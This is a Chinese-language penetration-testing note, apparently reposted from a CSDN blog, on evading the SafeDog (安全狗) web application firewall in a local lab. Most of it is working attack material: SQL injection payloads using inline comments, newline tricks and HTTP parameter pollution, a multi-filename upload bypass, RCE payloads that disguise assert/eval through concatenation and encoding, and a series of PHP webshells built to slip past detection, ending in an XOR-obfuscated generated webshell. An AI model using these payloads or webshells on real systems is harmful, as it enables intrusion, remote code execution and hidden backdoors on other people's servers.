0


安全狗waf

安全狗waf安装

1、先将phpstudy 以管理员身份运行,将运行模式修改为 “系统服务”,点击“应用”。

2、下载安全狗,安全狗-领先云安全服务与解决方案提供商|云原生安全|服务器安全|网站安全|态势感知

3、安装安全狗,以管理员身份运行

需要登录使用:

信息收集的WAF绕过

主要方法:

  • 更改请求方式
  • 模拟用户
  • 延时
  • 爬虫引擎
  • 代理池
  • ...

相关案例

1、安全狗默认配置(未开启CC防护)

通过7kscan工具进行目录扫描,全部状态码为200。

在防护日志中显示“不允许的HTTP请求”,拦截原因:进行了不允许的HTTP请求(HEAD请求)。

因为默认的目录扫描的HTTP请求方法是HEAD(响应快),而安全狗拦截此HEAD请求。

绕过方式为修改HTTP请求方法为GET。

2、安全狗开启CC防护

此时使用7kscan工具进行目录扫描,全部状态码为200。

使用相同IP的主机浏览器访问,会出现“您的请求过于频繁,已被网站管理员设置拦截!”,因为扫描过快,出发了CC防护机制。

安全狗防护日志处会产生“CC攻击”日志。

此时的绕过方式是延迟、爬虫引擎、代理池。

延迟方式:
  • 勾选“延迟扫描”
  • 或加大访问间隔

爬虫引擎:
  • 将User-Agent头替换为爬虫引擎使用的User-Agent,比如百度的爬虫引擎UA

Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)

漏洞利用的WAF绕过

sql注入绕过

安全和客户体验是需要平衡的,特别针对于WAF而言。如果用了WAF之后,网页动不动就被拦截,比如我是用户,用户名是and,然后我就被拦截了;或者我不小心输入了一个'引号就出问题,用户体验不好。

WAF一般都是通用的,并不是单独定制的,也就是说在拦截上会比较谨慎,所以WAF的拦截规则对应的正则一般是搭配式的,比如 and 1=1会被拦截,但是单独的and和单独的1=1不会被拦截。

大小写绕过(很老的WAF有用)

替换绕过(很老的WAF有用)

内联注释绕过

内联注释是MySQL为了保持与其他数据兼容,将MySQL中特有的语句放在/!.../中,这些语句在不兼容的数据库中不执行,而在MySQL自身却能识别执行。

/!/如果被拦截,可以尝试添加版本号。

比如:/!50001/表示数据库版本>=5.00.01时中间的语句才能被执行。

注意:版本号必须是5位数字,具体使用哪个版本号可以通过burpSuite的Intruder的模块进行爆破

正常注入会被安全狗拦截:

使用内联注释进行绕过:

特殊字符绕过

换行符%0a

注释/**/中的内容不会被安全狗拦截。

结合特殊字符 %0a(换行符)进行绕过。

比如:

http://127.0.0.1/sqli-labs/Less-1/

?id=1' -- qqq /%0a and 1=2 union select 1,2,3 %23/

参数值1' -- qqq /%0a and 1=2 union select 1,2,3 %23/ 对于安全狗来说,/**/中的内容不会拦截,所以可以原样到达web服务器apache。

因为%0a是换行,%23是#号,所以1' -- qqq /%0a and 1=2 union select 1,2,3 %23/会被认为是

1' -- qqq /*

and 1=2 union select 1,2,3 #/*

而-- qqq /和#/均会被注释掉,所以最终拼接如sql语句中的为

1' and 1=2 union select 1,2,3

反撇号````****

有些函数加上反撇号可以绕过

1' and sleep(5) -- qqq

容器特性绕过

iis中的%

对于s%e%l%ect会被iis认为是select

apache中的HPP

HTTP参数污染(HPP)

对于传参id=1&id=2,最终接收的参数为id=2

比如:

http://127.0.0.1/sqli-labs/Less-1/

?id=1'/&id=2' and 1=2 union select 1,2,3 %23/

首先安全狗不会过滤/**/中的内容,当参数发送到apache后,会将第二个参数2' and 1=2 union select 1,2,3拼接到sql语句中进行执行。

注意不要使用#,#可能会被拦截,建议替换成%23,或者使用-- 。

WAF性能因素绕过

检测长度绕过

WAF对检测数据包的包长或检测数据流长度,有一个限制。

  • 比如在真正的参数前面添加大量的%00进行填充。
  • 安全狗默认没有开启POST中的and or拦截,开启测试。

少量就会有拦截:

文件上传绕过

多filename绕过

在filename="webshell.php";之前多加一些正常的filename,比如filename="webshell.jpg";,

Content-Disposition: form-data; name="uploaded"; filename="webshell.jpg";filename="webshell.jpg";....此处省略上百个...filename="webshell.php";Content-Type: image/jpeg

如下图:

RCE绕过

如果waf拦截了phpinfo();等类型的一些敏感字符串等,比如安全狗自定义检测规则(自己添加):

其他场景类似。

拿pikachu测试,先将安全狗的文件防护关闭,否则会访问不到rce的漏洞文件。

变量拼接

txt=$a="p";$b="hpinfo";$c=$a.$b;$c();

txt=$a="p";$b="hpinfo";$c=$a.$b;$c();&submit=%E6%8F%90%E4%BA%A4

编码加密传输

txt=assert(base64_decode('cGhwaW5mbygpOw=='));

如果base64_decode函数被过滤,可以尝试别的编码函数,比如转换为十六进制:

txt=eval(pack("H*",'706870696E666F28293B'));

字符替换

txt=assert(str_replace('x','','phxpinxfo()'));

如果此时assert也被过滤了呢?可以使用别的函数,也可以结合变量拼接:

txt=$a='ass';$b='ert';$c=$a.$b;$c(str_replace('x','','phxpinxfo()'));

传参方式

http://192.168.10.155/pikachu/vul/rce/rce_eval.php?x=ert

txt=$a='ass';$b=$_GET['x'];$c=$a.$b;$c(str_replace('x','','phxpinxfo()'));

漏洞利用的WAF绕过

webshell代码层绕过

  • 方法:变量覆盖、加密混淆、异或生成

环境:安全狗v4.0,防护等级中级

webshell.php文件

<?php**** @eval($_REQUEST['a']);****?>

访问直接被拦截

安全狗扫描也会发现网页木马风险。

直接使用一句话木马原型会被拦截。

需要进行绕过bypass。

通过删除一句话木马不同的字符,测试安全狗过滤的内容,发现当出现eval($_REQUEST[])时会被拦截过滤。

bypass思路:

  • 替换eval()
  • 替换$_REQUEST[]
  • 让eval()和$_REQUEST[]不同时出现

end()函数绕过

end()函数:输出数组中最后一个元素的值。

$_REQUEST是一个包含前端传过来的参数数组。

<?php**** eval(end($_REQUEST));****?>

常量定义绕过

define() 函数定义一个常量。

<?php**** define("b","$_REQUEST['a']");eval(b);****?>

字符串拼接+双美元符号绕过

<?php

$a='ass';

$b='ert';

$funcName=$a.$b;

$x='funcName';

$$x($_REQUEST['a']); // $funcName($_REQUEST[a]) ==> assert($_REQUEST[a])?>

注意此时,不能拼接eval,因为eval()不是函数!否则会出现报错~ Call to undefined function eval()

函数定义强行分割绕过

<?php

function abc($b){

return $b

};

$a = abc($_REQUEST['a']);

eval($a);?>

经测试,此方法被过滤,提示“内藏自定义函数”

类定义强行分割绕过

<?php

class User{

public $name='';

function __destruct(){

  // 在对象被销毁时会被执行

  eval("$this->name");

}

};

$user = new User;

$user->name = $_REQUEST['a'];?>

cookie传参绕过

<?php

$cookie = $_COOKIE; // 获取cookie的数组

foreach($cookie as $key => $value){

if($key=='assert'){

  $key($_REQUEST['a']);

}

}?>

需要提前在本地浏览器存入key为assert的cookie。

读取预定义函数绕过

<?php

$a = get_defined_functions();

$a['internal']841;?>

原理分析:get_defined_functions()可以获取所有定义的函数,通过$a['internal'][841]可以拿到assert。

<?php

$a = get_defined_functions();

var_dump($a); // $a为一个二维数组,其中‘internal’对应了所有php预定义的函数名****?>****

自搭建数据库读取代码绕过

<?php

eval(mysqli_fetch_assoc(mysqli_query(mysqli_connect('127.0.0.1','root','root','test'),'select * from info'))['muma']);?>

如果不行,可以添加换行~

<?php

eval(

mysqli_fetch_assoc(

  mysqli_query(

    mysqli_connect('127.0.0.1','root','root','test'),

    'select * from info'

  )

)['muma']

);?>

编码加密传输绕过

webshell.php文件:

<?

// @eval(base64_decode(end($REQUEST)));$a="base64";$b="decode";$c=$a.$b;

@eval($c(end($_REQUEST)));

?>

传递的值使用base64加密,在webshell.php处进行解密。

  • 可以绕过waf对某些值的拦截,比如phpinfo()。

使用蚁剑自带编码加密绕过(注意蚁剑发送的数据包自带解码,所以上传的webshell不需要base64_decode)

加密混淆

php加密网站

将webshell进行加密,再上传至目标主机。

加密过后的内容:

连接加密过后的webshell时和连接源文件的方式一致。

异或生成

github地址:

目前网上能下载到的版本是3.0版,最新版4.x需要加入作者“知识星球”获取:webshell-venom 3.3 :利用随机异或免杀任意php文件 -

利用脚本生成的php免杀webshell(每次生成都不同)

****<?php**** class FHNK{ function __destruct(){$nby='J'^"\x2b";$uzj='?'^"\x4c";$yfh='>'^"\x4d";$xne='B'^"\x27";$jbp='R'^"\x20";$ufj='/'^"\x5b";$INLG=$nby.$uzj.$yfh.$xne.$jbp.$ufj;return @$INLG($this->TM);}}$fhnk=new FHNK();

@$fhnk->TM=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];?>

使用该webshell:

标签: 笔记

本文转载自: https://blog.csdn.net/m0_62207482/article/details/135095842
版权归原作者 Lyx-0607 所有, 如有侵权,请联系我们删除。

“安全狗waf”的评论:

还没有评论